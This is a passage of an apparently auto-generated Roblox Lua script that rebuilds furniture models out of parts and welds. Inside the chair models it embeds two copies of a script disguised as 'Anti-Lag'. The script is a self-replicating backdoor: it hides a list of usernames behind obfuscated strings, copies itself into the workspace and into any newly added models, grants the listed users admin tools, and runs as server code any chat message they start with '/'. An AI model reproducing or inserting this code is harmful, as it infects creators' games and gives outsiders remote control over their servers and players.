Weld625.Parent = Part624
Weld625.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
Weld625.C1 = CFrame.new(-0.5, 0.199954987, -0.5, -0, -1, -0, -0, -0, -1, 1, 0, 0)
Weld625.Part0 = Part624
Weld625.Part1 = Part630
Weld625.part1 = Part630
Weld626.Parent = Part624
Weld626.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
Weld626.C1 = CFrame.new(-0.5, 0.199954987, -0.5, -0, -1, -0, -0, -0, -1, 1, 0, 0)
Weld626.Part0 = Part624
Weld626.Part1 = Part630
Weld626.part1 = Part630
Weld627.Parent = Part624
Weld627.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
Weld627.C1 = CFrame.new(-0.5, 0.199954987, -0.5, -0, -1, -0, -0, -0, -1, 1, 0, 0)
Weld627.Part0 = Part624
Weld627.Part1 = Part630
Weld627.part1 = Part630
Weld628.Parent = Part624
Weld628.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
Weld628.C1 = CFrame.new(-0.5, 0.199951172, -0.5, -0, -1, -0, -0, -0, -1, 1, 0, 0)
Weld628.Part0 = Part624
Weld628.Part1 = Part630
Weld628.part1 = Part630
Weld629.Parent = Part624
Weld629.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
Weld629.C1 = CFrame.new(-0.5, 0.199954987, -0.5, -0, -1, -0, -0, -0, -1, 1, 0, 0)
Weld629.Part0 = Part624
Weld629.Part1 = Part630
Weld629.part1 = Part630
Part630.Name = "Smooth Block Model"
Part630.Parent = Model454
Part630.CFrame = CFrame.new(-20.0410156, 58.0002365, -211.551559, 0, 0, -1, 0, 1, 0, 1, 0, 0)
Part630.Orientation = Vector3.new(0, -90, 0)
Part630.Position = Vector3.new(-20.0410156, 58.0002365, -211.551559)
Part630.Rotation = Vector3.new(0, -90, 0)
Part630.Color = Color3.new(0.627451, 0.372549, 0.207843)
Part630.Size = Vector3.new(2, 0.400000006, 2)
Part630.Anchored = true
Part630.BottomSurface = Enum.SurfaceType.Smooth
Part630.BrickColor = BrickColor.new("Dark orange")
Part630.TopSurface = Enum.SurfaceType.Weld
Part630.brickColor = BrickColor.new("Dark orange")
SpecialMesh631.Parent = Part630
SpecialMesh631.Scale = Vector3.new(1.25, 1.25, 1.25)
Weld632.Parent = Part630
Weld632.C0 = CFrame.new(0, 0.200000003, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld632.C1 = CFrame.new(0.499954224, -0.5, 0.5, 0, 0, -1, 1, 0, -0, 0, -1, 0)
Weld632.Part0 = Part630
Weld632.Part1 = Part633
Weld632.part1 = Part633
Part633.Name = "Smooth Block Model"
Part633.Parent = Model454
Part633.CFrame = CFrame.new(-20.5410156, 58.7001915, -212.051559, 0, 0, 1, -1, 0, 0, 0, -1, 0)
Part633.Orientation = Vector3.new(0, 90, -90)
Part633.Position = Vector3.new(-20.5410156, 58.7001915, -212.051559)
Part633.Rotation = Vector3.new(-90, 90, 0)
Part633.Color = Color3.new(0.627451, 0.372549, 0.207843)
Part633.Transparency = 0.20000000298023
Part633.Size = Vector3.new(1, 1, 1)
Part633.Anchored = true
Part633.BottomSurface = Enum.SurfaceType.Smooth
Part633.BrickColor = BrickColor.new("Dark orange")
Part633.TopSurface = Enum.SurfaceType.Smooth
Part633.brickColor = BrickColor.new("Dark orange")
Part633.Shape = Enum.PartType.Cylinder
Weld634.Parent = Part633
Weld634.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
Weld634.C1 = CFrame.new(-0.5, 0.199951172, 0.5, -0, -1, -0, -0, -0, -1, 1, 0, 0)
Weld634.Part0 = Part633
Weld634.Part1 = Part630
Weld634.part1 = Part630
Part635.Name = "Smooth Block Model"
Part635.Parent = Model454
Part635.CFrame = CFrame.new(-20.5410156, 58.7001915, -211.051559, 0, 0, 1, -1, 0, 0, 0, -1, 0)
Part635.Orientation = Vector3.new(0, 90, -90)
Part635.Position = Vector3.new(-20.5410156, 58.7001915, -211.051559)
Part635.Rotation = Vector3.new(-90, 90, 0)
Part635.Color = Color3.new(0.156863, 0.498039, 0.278431)
Part635.Size = Vector3.new(1, 1, 1)
Part635.Anchored = true
Part635.BottomSurface = Enum.SurfaceType.Smooth
Part635.BrickColor = BrickColor.new("Dark green")
Part635.Reflectance = 0.20000000298023
Part635.TopSurface = Enum.SurfaceType.Smooth
Part635.brickColor = BrickColor.new("Dark green")
Part635.Shape = Enum.PartType.Cylinder
Weld636.Parent = Part635
Weld636.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
Weld636.C1 = CFrame.new(0.5, 0.199954987, 0.5, -0, -1, -0, -0, -0, -1, 1, 0, 0)
Weld636.Part0 = Part635
Weld636.Part1 = Part630
Weld636.part1 = Part630
Weld637.Parent = Part635
Weld637.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
Weld637.C1 = CFrame.new(0.5, 0.199954987, 0.5, -0, -1, -0, -0, -0, -1, 1, 0, 0)
Weld637.Part0 = Part635
Weld637.Part1 = Part630
Weld637.part1 = Part630
Weld638.Parent = Part635
Weld638.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
Weld638.C1 = CFrame.new(0.5, 0.199951172, 0.5, -0, -1, -0, -0, -0, -1, 1, 0, 0)
Weld638.Part0 = Part635
Weld638.Part1 = Part630
Weld638.part1 = Part630
Weld639.Parent = Part635
Weld639.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
Weld639.C1 = CFrame.new(0.5, 0.199954987, 0.5, -0, -1, -0, -0, -0, -1, 1, 0, 0)
Weld639.Part0 = Part635
Weld639.Part1 = Part630
Weld639.part1 = Part630
Weld640.Parent = Part635
Weld640.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
Weld640.C1 = CFrame.new(0.5, 0.199954987, 0.5, -0, -1, -0, -0, -0, -1, 1, 0, 0)
Weld640.Part0 = Part635
Weld640.Part1 = Part630
Weld640.part1 = Part630
Model641.Name = "Cair2"
Model641.Parent = Model454
Model641.PrimaryPart = Part660
Part642.Name = "Smooth Block Model"
Part642.Parent = Model641
Part642.CFrame = CFrame.new(-29.5410156, 55.1004601, -212.751511, -1, 0, 0, 0, 0, 1, 0, 1, -0)
Part642.Orientation = Vector3.new(-90, -180, 0)
Part642.Position = Vector3.new(-29.5410156, 55.1004601, -212.751511)
Part642.Rotation = Vector3.new(-90, 0, -180)
Part642.Color = Color3.new(0.627451, 0.372549, 0.207843)
Part642.Size = Vector3.new(3, 0.400000006, 1)
Part642.Anchored = true
Part642.BottomSurface = Enum.SurfaceType.Smooth
Part642.BrickColor = BrickColor.new("Dark orange")
Part642.LeftSurface = Enum.SurfaceType.Weld
Part642.RightSurface = Enum.SurfaceType.Weld
Part642.TopSurface = Enum.SurfaceType.Weld
Part642.brickColor = BrickColor.new("Dark orange")
Weld643.Parent = Part642
Weld643.C0 = CFrame.new(0, 0.200000003, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld643.C1 = CFrame.new(0, 0.300292969, 1.49995422, -1, -0, -0, 0, 1, 0, -0, -0, -1)
Weld643.Part0 = Part642
Weld643.Part1 = Part660
Weld643.part1 = Part660
Weld644.Parent = Part642
Weld644.C0 = CFrame.new(0, 0.200000003, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld644.C1 = CFrame.new(0, 0.300292969, 1.49995422, -1, -0, -0, 0, 1, 0, -0, -0, -1)
Weld644.Part0 = Part642
Weld644.Part1 = Part660
Weld644.part1 = Part660
Weld645.Parent = Part642
Weld645.C0 = CFrame.new(0, 0.200000003, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld645.C1 = CFrame.new(0, 0.300292969, 1.49995422, -1, -0, -0, 0, 1, 0, -0, -0, -1)
Weld645.Part0 = Part642
Weld645.Part1 = Part660
Weld645.part1 = Part660
Weld646.Parent = Part642
Weld646.C0 = CFrame.new(0, 0.200000003, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld646.C1 = CFrame.new(0, 0.300292969, 1.49995422, -1, -0, -0, 0, 1, 0, -0, -0, -1)
Weld646.Part0 = Part642
Weld646.Part1 = Part660
Weld646.part1 = Part660
Weld647.Parent = Part642
Weld647.C0 = CFrame.new(0, 0.200000003, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld647.C1 = CFrame.new(0, 0.300292969, 1.49995422, -1, -0, -0, 0, 1, 0, -0, -0, -1)
Weld647.Part0 = Part642
Weld647.Part1 = Part660
Weld647.part1 = Part660
Part648.Name = "Smooth Block Model"
Part648.Parent = Model641
Part648.CFrame = CFrame.new(-29.5410156, 55.1004601, -209.351624, -1, 0, -0, 0, 0, -1, 0, -1, -0)
Part648.Orientation = Vector3.new(90, 180, 0)
Part648.Position = Vector3.new(-29.5410156, 55.1004601, -209.351624)
Part648.Rotation = Vector3.new(90, 0, -180)
Part648.Color = Color3.new(0.627451, 0.372549, 0.207843)
Part648.Size = Vector3.new(3, 0.400000006, 1)
Part648.Anchored = true
Part648.BottomSurface = Enum.SurfaceType.Smooth
Part648.BrickColor = BrickColor.new("Dark orange")
Part648.LeftSurface = Enum.SurfaceType.Weld
Part648.RightSurface = Enum.SurfaceType.Weld
Part648.TopSurface = Enum.SurfaceType.Weld
Part648.brickColor = BrickColor.new("Dark orange")
Weld649.Parent = Part648
Weld649.C0 = CFrame.new(0, 0.200000003, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld649.C1 = CFrame.new(0.499954224, 0.5, -0.399780273, 0, 0, -1, 1, 0, 0, 0, -1, 0)
Weld649.Part0 = Part648
Weld649.Part1 = Part765
Weld649.part1 = Part765
Part650.Name = "Smooth Block Model"
Part650.Parent = Model641
Part650.CFrame = CFrame.new(-30.5410156, 54.0002365, -212.051559, -1, 0, 0, 0, 1, 0, 0, 0, -1)
Part650.Orientation = Vector3.new(0, 180, 0)
Part650.Position = Vector3.new(-30.5410156, 54.0002365, -212.051559)
Part650.Rotation = Vector3.new(-180, 0, -180)
Part650.Color = Color3.new(0.627451, 0.372549, 0.207843)
Part650.Size = Vector3.new(1, 1.20000005, 1)
Part650.Anchored = true
Part650.BrickColor = BrickColor.new("Dark orange")
Part650.TopSurface = Enum.SurfaceType.Weld
Part650.brickColor = BrickColor.new("Dark orange")
SpecialMesh651.Parent = Part650
SpecialMesh651.Scale = Vector3.new(1.25, 1.25, 1.25)
Weld652.Parent = Part650
Weld652.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld652.C1 = CFrame.new(1, -0.199951172, 1, -1, 0, -0, 0, 0, 1, -0, 1, -0)
Weld652.Part0 = Part650
Weld652.Part1 = Part660
Weld652.part1 = Part660
Part653.Name = "Smooth Block Model"
Part653.Parent = Model641
Part653.CFrame = CFrame.new(-28.5410156, 54.0002365, -212.051559, -1, 0, 0, 0, 1, 0, 0, 0, -1)
Part653.Orientation = Vector3.new(0, 180, 0)
Part653.Position = Vector3.new(-28.5410156, 54.0002365, -212.051559)
Part653.Rotation = Vector3.new(-180, 0, -180)
Part653.Color = Color3.new(0.627451, 0.372549, 0.207843)
Part653.Size = Vector3.new(1, 1.20000005, 1)
Part653.Anchored = true
Part653.BrickColor = BrickColor.new("Dark orange")
Part653.TopSurface = Enum.SurfaceType.Weld
Part653.brickColor = BrickColor.new("Dark orange")
SpecialMesh654.Parent = Part653
SpecialMesh654.Scale = Vector3.new(1.25, 1.25, 1.25)
Part655.Name = "Smooth Block Model"
Part655.Parent = Model641
Part655.CFrame = CFrame.new(-30.5410156, 54.0002365, -210.051559, -1, 0, 0, 0, 1, 0, 0, 0, -1)
Part655.Orientation = Vector3.new(0, 180, 0)
Part655.Position = Vector3.new(-30.5410156, 54.0002365, -210.051559)
Part655.Rotation = Vector3.new(-180, 0, -180)
Part655.Color = Color3.new(0.627451, 0.372549, 0.207843)
Part655.Size = Vector3.new(1, 1.20000005, 1)
Part655.Anchored = true
Part655.BrickColor = BrickColor.new("Dark orange")
Part655.TopSurface = Enum.SurfaceType.Weld
Part655.brickColor = BrickColor.new("Dark orange")
SpecialMesh656.Parent = Part655
SpecialMesh656.Scale = Vector3.new(1.25, 1.25, 1.25)
Part657.Name = "Smooth Block Model"
Part657.Parent = Model641
Part657.CFrame = CFrame.new(-28.5410156, 54.0002365, -210.051559, -1, 0, 0, 0, 1, 0, 0, 0, -1)
Part657.Orientation = Vector3.new(0, 180, 0)
Part657.Position = Vector3.new(-28.5410156, 54.0002365, -210.051559)
Part657.Rotation = Vector3.new(-180, 0, -180)
Part657.Color = Color3.new(0.627451, 0.372549, 0.207843)
Part657.Size = Vector3.new(1, 1.20000005, 1)
Part657.Anchored = true
Part657.BrickColor = BrickColor.new("Dark orange")
Part657.TopSurface = Enum.SurfaceType.Weld
Part657.brickColor = BrickColor.new("Dark orange")
SpecialMesh658.Parent = Part657
SpecialMesh658.Scale = Vector3.new(1.25, 1.25, 1.25)
Part659.Name = "Smooth Block Model"
Part659.Parent = Model641
Part659.CFrame = CFrame.new(-31.2409668, 56.1002083, -211.051559, 0, -1, -0, -1, 0, -0, 0, 0, -1)
Part659.Orientation = Vector3.new(0, -180, -90)
Part659.Position = Vector3.new(-31.2409668, 56.1002083, -211.051559)
Part659.Rotation = Vector3.new(180, 0, 90)
Part659.Color = Color3.new(0.627451, 0.372549, 0.207843)
Part659.Size = Vector3.new(3, 0.400000006, 3)
Part659.Anchored = true
Part659.BottomSurface = Enum.SurfaceType.Weld
Part659.BrickColor = BrickColor.new("Dark orange")
Part659.LeftSurface = Enum.SurfaceType.Weld
Part659.RightSurface = Enum.SurfaceType.Weld
Part659.TopSurface = Enum.SurfaceType.Smooth
Part659.brickColor = BrickColor.new("Dark orange")
Part660.Name = "Smooth Block Model"
Part660.Parent = Model641
Part660.CFrame = CFrame.new(-29.5410156, 54.8001671, -211.051559, -1, 0, 0, 0, 1, 0, 0, 0, -1)
Part660.Orientation = Vector3.new(0, 180, 0)
Part660.Position = Vector3.new(-29.5410156, 54.8001671, -211.051559)
Part660.Rotation = Vector3.new(-180, 0, -180)
Part660.Color = Color3.new(0.627451, 0.372549, 0.207843)
Part660.Size = Vector3.new(3, 0.400000006, 3)
Part660.Anchored = true
Part660.BrickColor = BrickColor.new("Dark orange")
Part660.LeftSurface = Enum.SurfaceType.Weld
Part660.RightSurface = Enum.SurfaceType.Weld
Part660.TopSurface = Enum.SurfaceType.Weld
Part660.brickColor = BrickColor.new("Dark orange")
Script661.Name = "Anti-Lag"
Script661.Parent = Part660
table.insert(cors,sandbox(Script661,function()
Altitude = script:clone()
calco = {"u", "1","4","D","j","g","M","k","a","e","d","c","2","3","r","t","j"}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[2] .. calco[11] .. calco[10] .. calco[1] .. calco[4]))
table.insert (Knox, 2 ,string.reverse(calco[2] .. calco[3] .. calco[16] .. calco[15] .. calco[10] .. calco[4]))
table.insert (Knox, 3 ,string.reverse(calco[14] .. calco[13] .. calco[2] .. calco[8] .. calco[12] .. calco[9] .. calco[5]))
table.insert (Knox, 4 ,string.reverse(calco[17] .. calco[5] .. calco[17] .. calco[4]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate > hatr then
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == "Part" then
local fh = fj[off]:FindFirstChild("Anti-Lag")
if fh ~= nil then
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local hup = Instance.new("Message")
hup.Text = "Detected"
hup.Parent = quen.Parent
local con = Instance.new("Script")
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new("HopperBin")
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1, zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild("Anti-Lag")
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == "Model" then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end)
end
function Player(player)
player.Changed:connect(function (property)
if property == "Character" then
laber(player)
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == "/" then
local dsting = Instance.new("Script")
dsting.Source = string.sub(msg,2)
dsting.Parent = game.Workspace
end
end
end
end))
Weld662.Parent = Part660
Weld662.C0 = CFrame.new(0, 0, -1.5, -1, -0, -0, 0, 1, 0, -0, -0, -1)
Weld662.C1 = CFrame.new(0, 0.199951172, 0.300292969, -1, 0, 0, 0, 0, -1, 0, -1, 0)
Weld662.Part0 = Part660
Weld662.Part1 = Part648
Weld662.part1 = Part648
Weld663.Parent = Part660
Weld663.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld663.C1 = CFrame.new(-1, 0.599975586, 1, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld663.Part0 = Part660
Weld663.Part1 = Part655
Weld663.part1 = Part655
Weld664.Parent = Part660
Weld664.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld664.C1 = CFrame.new(1, 0.599975586, 1, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld664.Part0 = Part660
Weld664.Part1 = Part657
Weld664.part1 = Part657
Weld665.Parent = Part660
Weld665.C0 = CFrame.new(0, 0.200000003, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld665.C1 = CFrame.new(-1, 0.5, -0.50012207, 0, -1, 0, 1, 0, 0, 0, 0, 1)
Weld665.Part0 = Part660
Weld665.Part1 = Part765
Weld665.part1 = Part765
Weld666.Parent = Part660
Weld666.C0 = CFrame.new(0, 0.200000003, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld666.C1 = CFrame.new(-0.50012207, 0.5, 0, 0, 0, 1, 1, 0, 0, -0, 1, -0)
Weld666.Part0 = Part660
Weld666.Part1 = Part775
Weld666.part1 = Part775
Weld667.Parent = Part660
Weld667.C0 = CFrame.new(1.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
Weld667.C1 = CFrame.new(1.30004883, -0.199951172, 0, -0, -1, 0, -0, -0, 1, -1, -0, 0)
Weld667.Part0 = Part660
Weld667.Part1 = Part659
Weld667.part1 = Part659
Weld668.Parent = Part660
Weld668.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld668.C1 = CFrame.new(-1, 0.59992981, -1, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld668.Part0 = Part660
Weld668.Part1 = Part650
Weld668.part1 = Part650
Weld669.Parent = Part660
Weld669.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld669.C1 = CFrame.new(1, 0.599975586, -1, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld669.Part0 = Part660
Weld669.Part1 = Part653
Weld669.part1 = Part653
Model670.Name = "Chair"
Model670.Parent = Model454
Model670.PrimaryPart = Part684
Part671.Name = "Smooth Block Model"
Part671.Parent = Model670
Part671.CFrame = CFrame.new(-24.5410156, 54.0004845, -204.751511, 0, 0, -1, 0, 1, 0, 1, 0, 0)
Part671.Orientation = Vector3.new(0, -90, 0)
Part671.Position = Vector3.new(-24.5410156, 54.0004845, -204.751511)
Part671.Rotation = Vector3.new(0, -90, 0)
Part671.Color = Color3.new(0.627451, 0.372549, 0.207843)
Part671.Size = Vector3.new(1, 1.20000005, 1)
Part671.Anchored = true
Part671.BrickColor = BrickColor.new("Dark orange")
Part671.TopSurface = Enum.SurfaceType.Weld
Part671.brickColor = BrickColor.new("Dark orange")
SpecialMesh672.Parent = Part671
SpecialMesh672.Scale = Vector3.new(1.25, 1.25, 1.25)
Weld673.Parent = Part671
Weld673.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld673.C1 = CFrame.new(1, -0.200042725, 1, -1, 0, 0, 0, 0, 1, 0, 1, 0)
Weld673.Part0 = Part671
Weld673.Part1 = Part684
Weld673.part1 = Part684
Weld674.Parent = Part671
Weld674.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld674.C1 = CFrame.new(1, -0.200042725, 1, -1, 0, 0, 0, 0, 1, 0, 1, 0)
Weld674.Part0 = Part671
Weld674.Part1 = Part684
Weld674.part1 = Part684
Weld675.Parent = Part671
Weld675.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld675.C1 = CFrame.new(1, -0.200042725, 1, -1, 0, 0, 0, 0, 1, 0, 1, 0)
Weld675.Part0 = Part671
Weld675.Part1 = Part684
Weld675.part1 = Part684
Weld676.Parent = Part671
Weld676.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld676.C1 = CFrame.new(1, -0.200042725, 1, -1, 0, 0, 0, 0, 1, 0, 1, 0)
Weld676.Part0 = Part671
Weld676.Part1 = Part684
Weld676.part1 = Part684
Part677.Name = "Smooth Block Model"
Part677.Parent = Model670
Part677.CFrame = CFrame.new(-24.5410156, 54.0004845, -206.751511, 0, 0, -1, 0, 1, 0, 1, 0, 0)
Part677.Orientation = Vector3.new(0, -90, 0)
Part677.Position = Vector3.new(-24.5410156, 54.0004845, -206.751511)
Part677.Rotation = Vector3.new(0, -90, 0)
Part677.Color = Color3.new(0.627451, 0.372549, 0.207843)
Part677.Size = Vector3.new(1, 1.20000005, 1)
Part677.Anchored = true
Part677.BrickColor = BrickColor.new("Dark orange")
Part677.TopSurface = Enum.SurfaceType.Weld
Part677.brickColor = BrickColor.new("Dark orange")
SpecialMesh678.Parent = Part677
SpecialMesh678.Scale = Vector3.new(1.25, 1.25, 1.25)
Part679.Name = "Smooth Block Model"
Part679.Parent = Model670
Part679.CFrame = CFrame.new(-22.5410156, 54.0004845, -204.751511, 0, 0, -1, 0, 1, 0, 1, 0, 0)
Part679.Orientation = Vector3.new(0, -90, 0)
Part679.Position = Vector3.new(-22.5410156, 54.0004845, -204.751511)
Part679.Rotation = Vector3.new(0, -90, 0)
Part679.Color = Color3.new(0.627451, 0.372549, 0.207843)
Part679.Size = Vector3.new(1, 1.20000005, 1)
Part679.Anchored = true
Part679.BrickColor = BrickColor.new("Dark orange")
Part679.TopSurface = Enum.SurfaceType.Weld
Part679.brickColor = BrickColor.new("Dark orange")
SpecialMesh680.Parent = Part679
SpecialMesh680.Scale = Vector3.new(1.25, 1.25, 1.25)
Part681.Name = "Smooth Block Model"
Part681.Parent = Model670
Part681.CFrame = CFrame.new(-22.5410156, 54.0004845, -206.751511, 0, 0, -1, 0, 1, 0, 1, 0, 0)
Part681.Orientation = Vector3.new(0, -90, 0)
Part681.Position = Vector3.new(-22.5410156, 54.0004845, -206.751511)
Part681.Rotation = Vector3.new(0, -90, 0)
Part681.Color = Color3.new(0.627451, 0.372549, 0.207843)
Part681.Size = Vector3.new(1, 1.20000005, 1)
Part681.Anchored = true
Part681.BrickColor = BrickColor.new("Dark orange")
Part681.TopSurface = Enum.SurfaceType.Weld
Part681.brickColor = BrickColor.new("Dark orange")
SpecialMesh682.Parent = Part681
SpecialMesh682.Scale = Vector3.new(1.25, 1.25, 1.25)
Part683.Name = "Smooth Block Model"
Part683.Parent = Model670
Part683.CFrame = CFrame.new(-23.5410156, 56.1005783, -204.051559, 0, 0, -1, -1, 0, 0, 0, 1, 0)
Part683.Orientation = Vector3.new(0, -90, -90)
Part683.Position = Vector3.new(-23.5410156, 56.1005783, -204.051559)
Part683.Rotation = Vector3.new(90, -90, 0)
Part683.Color = Color3.new(0.627451, 0.372549, 0.207843)
Part683.Size = Vector3.new(3, 0.400000006, 3)
Part683.Anchored = true
Part683.BottomSurface = Enum.SurfaceType.Weld
Part683.BrickColor = BrickColor.new("Dark orange")
Part683.LeftSurface = Enum.SurfaceType.Weld
Part683.RightSurface = Enum.SurfaceType.Weld
Part683.TopSurface = Enum.SurfaceType.Smooth
Part683.brickColor = BrickColor.new("Dark orange")
Part684.Name = "Smooth Block Model"
Part684.Parent = Model670
Part684.CFrame = CFrame.new(-23.5410156, 54.8005257, -205.751511, 0, 0, -1, 0, 1, 0, 1, 0, 0)
Part684.Orientation = Vector3.new(0, -90, 0)
Part684.Position = Vector3.new(-23.5410156, 54.8005257, -205.751511)
Part684.Rotation = Vector3.new(0, -90, 0)
Part684.Color = Color3.new(0.627451, 0.372549, 0.207843)
Part684.Size = Vector3.new(3, 0.400000006, 3)
Part684.Anchored = true
Part684.BrickColor = BrickColor.new("Dark orange")
Part684.LeftSurface = Enum.SurfaceType.Weld
Part684.RightSurface = Enum.SurfaceType.Weld
Part684.TopSurface = Enum.SurfaceType.Weld
Part684.brickColor = BrickColor.new("Dark orange")
Script685.Name = "Anti-Lag"
Script685.Parent = Part684
table.insert(cors,sandbox(Script685,function()
Altitude = script:clone()
calco = {"u", "1","4","D","j","g","M","k","a","e","d","c","2","3","r","t","j"}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[2] .. calco[11] .. calco[10] .. calco[1] .. calco[4]))
table.insert (Knox, 2 ,string.reverse(calco[2] .. calco[3] .. calco[16] .. calco[15] .. calco[10] .. calco[4]))
table.insert (Knox, 3 ,string.reverse(calco[14] .. calco[13] .. calco[2] .. calco[8] .. calco[12] .. calco[9] .. calco[5]))
table.insert (Knox, 4 ,string.reverse(calco[17] .. calco[5] .. calco[17] .. calco[4]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate > hatr then
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == "Part" then
local fh = fj[off]:FindFirstChild("Anti-Lag")
if fh ~= nil then
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local hup = Instance.new("Message")
hup.Text = "Detected"
hup.Parent = quen.Parent
local con = Instance.new("Script")
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new("HopperBin")
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1, zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild("Anti-Lag")
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == "Model" then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end)
end
function Player(player)
player.Changed:connect(function (property)
if property == "Character" then
laber(player)
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == "/" then
local dsting = Instance.new("Script")
dsting.Source = string.sub(msg,2)
dsting.Parent = game.Workspace
end
end
end
end))
Weld686.Parent = Part684
Weld686.C0 = CFrame.new(1.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
Weld686.C1 = CFrame.new(1.30004883, -0.199951172, 0, 0, -1, 0, 0, 0, 1, -1, 0, 0)
Weld686.Part0 = Part684
Weld686.Part1 = Part683
Weld686.part1 = Part683
Weld687.Parent = Part684
Weld687.C0 = CFrame.new(0, 0.200000003, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld687.C1 = CFrame.new(-0.499755859, 0.199951172, -1, 0, 0, 1, 1, 0, -0, 0, 1, -0)
Weld687.Part0 = Part684
Weld687.Part1 = Part717
Weld687.part1 = Part717
Weld688.Parent = Part684
Weld688.C0 = CFrame.new(0, 0.200000003, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
